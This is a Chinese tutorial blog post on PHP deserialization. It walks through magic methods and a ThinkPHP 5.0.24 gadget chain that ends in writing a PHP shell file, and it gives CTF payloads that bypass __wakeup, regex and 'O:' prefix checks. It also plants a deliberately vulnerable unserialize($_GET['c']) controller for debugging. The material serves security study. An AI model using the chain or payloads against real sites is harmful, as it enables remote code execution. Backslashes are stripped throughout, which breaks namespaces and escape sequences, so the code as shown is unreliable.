萌新必備技能–PHP框架反序列化入門教程

  • 2020 年 2 月 26 日
  • 筆記

前言

本文面向擁有一定PHP基礎的萌新選手,從反序列化的簡略原理->實戰分析經典tp5.0.x的漏洞->討論下CTF做題技巧,

後面系列就傾向於針對不同PHP框架如何有效地挖掘反序列化漏洞和快速構造POC的技術探討。

PHP反序列化原理

序列化技術的出現主要是解決抽象數據存儲問題,反序列化技術則是解決序列化數據抽象化的。

換句話來說, 一個類的對象, 像這種具有層級結構的數據,你沒辦法直接像文本那樣存儲,所以我們必須採取某種規則將其文本化(流化),反序列化的時候再復原它。

這裡我們可以舉一個例子:

<?php  class A{      public $t1;      private $t2='t2';      protected $t3 = 't3';  }    // create a is_object  $obj = new A();  $obj->t1 = 't1';  var_dump($obj);  echo serialize($obj);  ?>

我們不難看到序列化的過程就是將層次的抽象結構變成了可以用流表示的字符串。

O:1:"A":3:{s:2:"t1";s:2:"t1";s:5:"At2";s:2:"t2";s:5:"*t3";s:2:"t3";}

我們可以分析下這個字符串

public的屬性在序列化時,直接顯示屬性名 protected的屬性在序列化時,會在屬性名前增加0x00*0x00,其長度會增加3 private的屬性在序列化時,會在屬性名前增加0x00classname0x00,其長度會增加類名長度+2

反序列化的話,就能依次根據規則進行反向復原了。

PHP反序列化攻擊

按道理來說,PHP反序列乍看是一個很正常不過的功能,

為什麼我們聽到反序列化更多的是將其當作一種漏洞呢? 到底存不存在合理安全的反序列化流程?

回答這個問題, 我們得清楚這個反序列過程,其功能就類似於」」創建了一個新的對象」(復原一個對象可能更恰當),

並賦予其相應的屬性值,在反序列過程中,如果讓攻擊者任意反序列數據, 那麼攻擊者就可以實現任意類對象的創建,

如果一些類存在一些自動觸發的方法(或者代碼流中有一些行為會自動觸發一些方法),那麼就有可能以此為跳板進而攻擊系統應用。

那麼什麼是自動觸發的方法呢?

在PHP中我們稱其為魔術方法

通過閱讀文檔我們可以發現一個有意思的現象:

我們可以將其理解為序列化攻擊,這裡我不展開探討,歡迎讀者去研究。

同樣我們可以發現,反序列過程中__wakeup()魔術方法會被自動觸發,我們可以整理下PHP的各種魔術方法及其觸發條件。

__construct()    #類的構造函數  __destruct()    #類的析構函數  __call()    #在對象中調用一個不可訪問方法時調用  __callStatic()    #用靜態方式中調用一個不可訪問方法時調用  __get()    #獲得一個類的成員變量時調用  __set()    #設置一個類的成員變量時調用  __isset()    #當對不可訪問屬性調用isset()或empty()時調用  __unset()    #當對不可訪問屬性調用unset()時被調用。  __sleep()    #執行serialize()時,先會調用這個函數  __wakeup()    #執行unserialize()時,先會調用這個函數  __toString()    #類被當成字符串時的回應方法  __invoke()    #調用函數的方式調用一個對象時的回應方法  __set_state()    #調用var_export()導出類時,此靜態方法會被調用。  __clone()    #當對象複製完成時調用  __autoload()    #嘗試加載未定義的類  __debugInfo()    #打印所需調試信息  

這裡我們着重需要注意的是:

__construct()

__destruct()

__wakeup()

我們可以寫代碼驗證一下這三者的關係。

<?php  class A{      public $t1;      private $t2='t2';      protected $t3 = 't3';      function __wakeup(){          var_dump("i am __wakeup");      }      function __construct(){          var_dump("i am __construct");      }      function __destruct(){          var_dump("i am __destruct");      }  }    // create a is_object  $obj = new A();  $obj->t1 = 't1';  echo "=====serialize=====";  echo '<br>';  echo serialize($obj);  echo '<br>';  echo "=====unserialize=====";  unserialize( serialize($obj));  echo '<br>';  ?>  

所以說反序列化能直接自動觸發的函數就是:__wakeup __destruct

那麼為什麼__construct不能呢?

我們可以這樣理解,因為序列化本身就是存儲一個已經初始化的的對象的值了,

所以沒必要去執行__construct,或者說序列化過程本身沒有創建對象這一過程,所以說挖掘PHP反序列化最重要的一步就是通讀系統所有的__wakeup __destruct函數,

然後於此接着挖掘其他點, 這也是目前大多數反序列化的挖掘思路,

更隱蔽的話比較騷的可能就是那些不是很直接的調用魔術方法的挖掘思路了, 這部分比較難實現自動化

那麼怎麼來實現安全反序列化呢?

反序列化內容不要讓用戶控制(加密處理等處理方法), 因為組件依賴相當多,黑名單的路子就沒辦法行得通的

但是眾所周知,PHP的文件處理函數對phar協議處理會自動觸發反序列化可控內容,從而大大增加了反序列化的攻擊面,

所以說想要杜絕此類問題, 對程序猿的安全覺悟要求相當高, 需要嚴格控制用戶操作比如文件相關操作等。

當然像我這種菜B程序猿採取的方案就是:

暴力直接寫死destruct and wakeup 函數

2.1 POP鏈原理簡化

<?php  class A{      public $obj;      function __construct(){          var_dump("i am __construct");      }        function __destruct(){          var_dump("i am __destruct");          var_dump(file_exists($this->obj));      }    }    class B{      public $obj;      function __toString(){          var_dump("I am __toString of B!");          // 觸發 __call 方法          $this->obj->getAttr("test", "t2");          return "ok";      }  }    class C{      function __call($t1, $t2){          var_dump($t1);          var_dump($t2);          var_dump("I am __call of C");      }  }    $objC = new C();  $objB = new B();  $objA = new A;  // 觸發C的__call,將C類的對象$objC給B的$obj屬性。  $objB->obj = $objC;  // 這裡為了觸發的__toString, 將B類的對象$objB給A的$obj屬性  $objA->obj = $objB;  

其實這種就是類組合的應用,

一個類A中包含另外一個類B的對象, 然後通過該B對象調用其方法,從而將利用鏈轉移到另外一個類B,

只不過這些方法具備了」自動觸發」性質,從而能夠實現自動POP到具有RCE功能的類中去。

ThinkPHP5.0.x反序列化漏洞

這個漏洞最早是小刀師傅發現的, ,

相當贊的挖掘過程, 與其他經典tp鏈不太一樣,所以我就以此展開來學習了, 這裡記錄下我的復現過程。

3.1 安裝ThinkPHP5.0.24

composer create-project --prefer-dist topthink/think=5.0.24 tp5024

等待下載完即可

3.2 TP框架知識點入門

thinkphp/tp5024/application/index/controller/Index.php

我們修改其內容(手工構造一個反序列化的點,方便調試)

<?php  namespace appindexcontroller;    class Index  {      public function index()      {          // vuln          unserialize(@$_GET['c']);          return 'thinkphp 5.0.24';      }  }  

在正式開始審計之前我們了解一下TP框架中命名空間與類庫的內容。

詳細內容參考tp官方文檔: 命名空間

1.什麼是命名空間?

命名空間是在php5.3中加入的, 其實許多語言(java、c#)都有這個功能。 簡單理解就是分類的標籤, 更加簡單的理解就是我們常見的目錄(其作用就是發揮了命名空間的作用) 用處: 1.解決用戶編碼與PHP內部的類/函數/常量或第三方類/函數/常量之間的名字衝突 2.為很長的標識符名稱創建一個別名的名稱,提高源代碼的可行性

這裡展示下幾個演示命名空間功能的例子:

1.命名空間用法

(1)直接使namespache命名空間

<?php  // 用法1,不推薦  namespace sp1;  echo '"', __NAMESPACE__, '"';  namespace sp2;  echo '"', __NAMESPACE__, '"';    #輸出output:  "sp1" "sp2"  

(2)使用大括號模式,推薦使用

<?php  // 用法2,推薦  namespace sp1{      echo '"', __NAMESPACE__, '"';  }  namespace sp2{      echo "</br>";      echo '"', __NAMESPACE__, '"';      echo "</br>";  }  namespace { //全局空間       echo '"', __NAMESPACE__, '"';  }    #輸出output:  "sp1"  "sp2"  ""  

2.使用命名空間

<?php  namespace FooBar;  include 'file1.php';    const FOO = 2;  function foo() {}  class foo  {    static function staticmethod() {}  }    /* 非限定名稱 */  foo(); // 解析為函數 FooBarfoo  foo::staticmethod(); // 解析為類 FooBarfoo ,方法為 staticmethod  echo FOO; // 解析為常量 FooBarFOO    /* 限定名稱 */  subnamespacefoo(); // 解析為函數 FooBarsubnamespacefoo  subnamespacefoo::staticmethod(); // 解析為類 FooBarsubnamespacefoo,                                  // 以及類的方法 staticmethod  echo subnamespaceFOO; // 解析為常量 FooBarsubnamespaceFOO    /* 完全限定名稱 */  FooBarfoo(); // 解析為函數 FooBarfoo  FooBarfoo::staticmethod(); // 解析為類 FooBarfoo, 以及類的方法 staticmethod  echo FooBarFOO; // 解析為常量 FooBarFOO  ?>  
  1. 非限定名稱,或不包含前綴的類名稱,例如 $a=new foo(); 或 foo::staticmethod();。 如果當前命名空間是 currentnamespace,foo 將被解析為 currentnamespacefoo。如果使用 foo 的代碼是全局的,不包含在任何命名空間中的代碼,則 foo 會被解析為foo。警告:如果命名空間中的函數或常量未定義,則該非限定的函數名稱或常量名稱會被解析為全局函數名稱或常量名稱。
  2. 限定名稱,或包含前綴的名稱,例如 $a = new subnamespacefoo(); 或 subnamespacefoo::staticmethod();。如果當前的命名空間是 currentnamespace,則 foo 會被解析為 currentnamespacesubnamespacefoo。如果使用 foo 的代碼是全局的,不包含在任何命名空間中的代碼,foo 會被解析為subnamespacefoo。
  3. 完全限定名稱,或包含了全局前綴操作符的名稱,例如, $a = new currentnamespacefoo(); 或 currentnamespacefoo::staticmethod();。在這種情況下,foo 總是被解析為代碼中的文字名(literal name)currentnamespacefoo。 別名/導入 PHP 命名空間支持 有兩種使用別名或導入方式:為類名稱使用別名,或為命名空間名稱使用別名。 在PHP中,別名是通過操作符 use 來實現的. 下面是一個使用所有可能的三種導入方式的例子: 1、使用use操作符導入/使用別名 <?php namespace foo; use MyFullClassname as Another; // 下面的例子與 use MyFullNSname as NSname 相同 use MyFullNSname; // 導入一個全局類 use ArrayObject; $obj = new namespaceAnother; // 實例化 fooAnother 對象 $obj = new Another; // 實例化 MyFullClassname 對象 NSnamesubnsfunc(); // 調用函數 MyFullNSnamesubnsfunc $a = new ArrayObject(array(1)); // 實例化 ArrayObject 對象 // 如果不使用 "use ArrayObject" ,則實例化一個 fooArrayObject 對象 ?>

2.tp中的根命名空間

名稱

描述

類庫目錄

think

系統核心類庫

thinkphp/library/think

traits

系統Trait類庫

thinkphp/library/traits

app

應用類庫

application

3.tp的類自動加載機制

詳細內容參考官方文檔的: 自動加載

原理就是根據類的命名空間定位到類庫文件 然後我們創建實例的時候系統會自動加載這個類庫進來。 example: 框架的Library目錄下面的命名空間都可以自動識別和定位,例如:

  1. ├─Library 框架類庫目錄
  2. │ ├─Think 核心Think類庫包目錄
  3. │ ├─Org Org類庫包目錄
  4. │ ├─ ... 更多類庫目錄

Library目錄下面的子目錄都是一個根命名空間,也就是說以Think、Org為根命名空間的類都可以自動加載:

  1. new ThinkCacheDriverFile();
  2. new OrgUtilAuth();

都可以自動加載對應的類庫文件,後面構造POC的時候會再次涉及到這個知識點。

嘗試分析5.0.x反序列化

筆者環境: Mac OS, phpstorm

類庫搜索:__destruct

定位到入口:/tp5024/thinkphp/library/think/process/pipes/Windows.php

public function __destruct()  {      $this->close();      $this->removeFiles();//跟進這個函數  }  
    private function removeFiles()      {          foreach ($this->files as $filename) {              if (file_exists($filename)) { //這裡可以觸發__toString                  @unlink($filename);//這裡可以反序列刪除任意文件              }          }          $this->files = [];      }  

我們接着可以全局搜索下有沒有合適的__toString方法

tp5024/thinkphp/library/think/Model.php

    public function __toString()      {          return $this->toJson();      }  
    public function toJson($options = JSON_UNESCAPED_UNICODE)      {          return json_encode($this->toArray(), $options); //跟進      }  

我們需要控制兩個值:$modelRelation and $value,這裡其實具體還是比較複雜的,

這裡我們假設可以任意控制,先理解清楚後面的寫shell流程,掌握主幹的方向。

通過控制$modelRelation我們可以走到$value-getAttr($attr),其中$value也是我們可以控制的,我們將其控制為thinkconsoleconsole的對象,最終進入到了

thinkphp/library/think/console/Output.php

因為不存在getAttr方法從而調用了__call

    public function __call($method, $args)      {          if (in_array($method, $this->styles)) {              array_unshift($args, $method);              return call_user_func_array([$this, 'block'], $args);            //跟進這個函數調用          }  ............      }  
    protected function block($style, $message)      {          $this->writeln("<{$style}>{$message}</$style>");//繼續跟進      }  
    public function writeln($messages, $type = self::OUTPUT_NORMAL)      {          $this->write($messages, true, $type);//跟進      }  
    public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL)      {          $this->handle->write($messages, $newline, $type);      }  

當來到這裡的時候$this-handle我們是可以控制的,但是我們一直可以控制的參數值只有一個那就是上面的$messages,其他的參數值沒辦法控制

namespace thinkconsole{      class Output{          private $handle = 這裡可以控制為任意對象;          protected $styles = [              'getAttr'          ];      }  }  

這裡我們選擇控制為thinksessiondriverMemcached的對象然後調用他的write方法

tp5024/thinkphp/library/think/session/driver/Memcached.php

    public function write($sessID, $sessData)      {          return $this->handler->set($this->config['session_name'] . $sessID, $sessData, $this->config['expire']);//跟進看看      }  

這裡是關鍵寫入shell的地方,我們從file_put_contents反向溯源$filenameanddata,看下數據是怎麼流向的。

    public function set($name, $value, $expire = null)      {          //$value 我們沒辦法控制          if (is_null($expire)) {              $expire = $this->options['expire'];          }          if ($expire instanceof DateTime) {              $expire = $expire->getTimestamp() - time();          }          $filename = $this->getCacheKey($name, true);          if ($this->tag && !is_file($filename)) {              $first = true;          }          $data = serialize($value);          if ($this->options['data_compress'] && function_exists('gzcompress')) {              //數據壓縮              $data = gzcompress($data, 3);          }          $data   = "<?phpn//" . sprintf('%012d', $expire) . "n exit();?>n" . $data;          $result = file_put_contents($filename, $data);          if ($result) {              isset($first) && $this->setTagItem($filename);              clearstatcache();              return true;          } else {              return false;          }      }  

第一次我們是沒辦法控制寫入的內容,但是這裡進行了二次寫入

$this->setTagItem($filename),跟進看看

    protected function setTagItem($name)      {          if ($this->tag) {              $key       = 'tag_' . md5($this->tag);              $this->tag = null;              if ($this->has($key)) {                  $value   = explode(',', $this->get($key));                  $value[] = $name;                  $value   = implode(',', array_unique($value));              } else {                  $value = $name; //這裡$value可以被我們控制              }              $this->set($key, $value, 0);//這裡再次進行了寫入          }      }  

最終的指向效果就是:

生成的shell文件名就是:

<?cuc cucvasb();?>3b11e4b835d256cc6365eaa91c09a33f.php

上面介紹了反序列化的主要流程

CTF中反序列化的考點

打了幾場比賽, 順便總結下CTF中反序列化經常考的點, 這些點有可能今後在實戰審計中用到,

因為這些點正是一些cms的防護被繞過的例子

4.1 __wakeup 繞過

通過前面我們可以知道反序列化的時候會自動觸發__wakeup,所以有些程序猿在這個函數做了些安全檢查。

<?php  class Record{      public $file='hacker';      public function __wakeup()      {          $this->file = 'hacker';      }        public function __destruct()      {          if($this->file !== 'hacker'){              echo "flag{success!}";          }else          {              echo "try again!";          }      }  }    $obj = new Record();  $obj->file = 'boy';  echo urlencode(serialize($obj));  // vuln  unserialize($_GET['c']);    ?>  
O%3A6%3A%22Record%22%3A0%3A%7B%7D  // 解碼後  O:6:"Record":0:{}  

這裡我們反序列化的時候,修改下對象的屬性值數目,就可以繞過

O:6:"Record":0:{}  //修改後  O:6:"Record":1:{}  //編碼後  O%3a6%3a%22record%22%3a1%3a%7b%7d  

成員屬性值數目大於真實的數目,便能不觸發__wakeup方法,實現繞過

4.2 繞過preg_match('/[oc]:d+:/i',$cmd

<?php  class Record{      public function __wakeup()      {          var_dump("i am __wakeup");          $this->file = 'hacker';      }        public function __destruct()      {          var_dump("i am __destruct");      }  }    $obj = new Record();  echo urlencode(serialize($obj));  // vuln  if (preg_match('/[oc]:d+:/i',$_GET['c']))  {      die('<br>what?');  }else  {      var_dump("Hello");      unserialize($_GET['c']);  }    ?>  

這個是其他師傅fuzz出來的一個小技巧,對象長度可以添加個+來繞過正則

O:6:"Record":0:{}  //修改後  O:+6:"Record":1:{}  //編碼後  O%3a%2b6%3a%22record%22%3a1%3a%7b%7d  

4.3 繞過substr($c, 0, 2)!=='O:'

這個限制當時在華中賽區的時候還卡了我一下, 就是限制了開頭不能為對象類型,

不過這道題目之前騰訊的某個ctf出過,所以難度不是很大,這裡記錄下數組繞過的方法

<?php  class Record{      public function __wakeup()      {          var_dump("i am __wakeup");          $this->file = 'hacker';      }        public function __destruct()      {          var_dump("i am __destruct");      }  }    $obj = new Record();  //數組化  $a = array($obj);  echo urlencode(serialize($a));  // vuln  if (substr($_GET['c'], 0, 2)=='O:')  {      die('<br>what?');  }else  {      var_dump("Hello");      unserialize($_GET['c']);  }    ?>  
O:6:"Record":0:{}  //修改後  a:1:{i:0;O:6:"Record":1:{}}  //編碼後  a%3A1%3A%7Bi%3A0%3BO%3A6%3A%22Record%22%3A1%3A%7B%7D%7D  

反序列化的時候他是會從反序列化數組裏面的內容的。

反序列化的字符逃逸

這個內容我接觸的可能比較少, 是一些有點偏的特性,這裡分享幾篇資料,

讀者有興趣可以自行研究或者與我一起探討下:

詳解PHP反序列化中的字符逃逸

一道ctf題關於php反序列化字符逃逸

其實原理簡單來說就是:

就是序列化數據拼接的時候容錯機制導致的問題,導致了可以偽造序列化數據內容。

總結

PHP的反序列化學習起來比python、java那些反而更加簡單和直接,

非常適合萌新選手入門反序列化前掌握反序列化思想,同樣其利用方面也是極具威脅性的,

畢竟使用框架的cms那麼多,就算不使用框架,也一樣會存在風險。

隨着後期發展,我感覺反序列化漏洞會超越傳統SQL注入、任意文件上傳等主流的高危漏洞, 歡迎師傅們與我一起探討深入研究各種相關騷操作。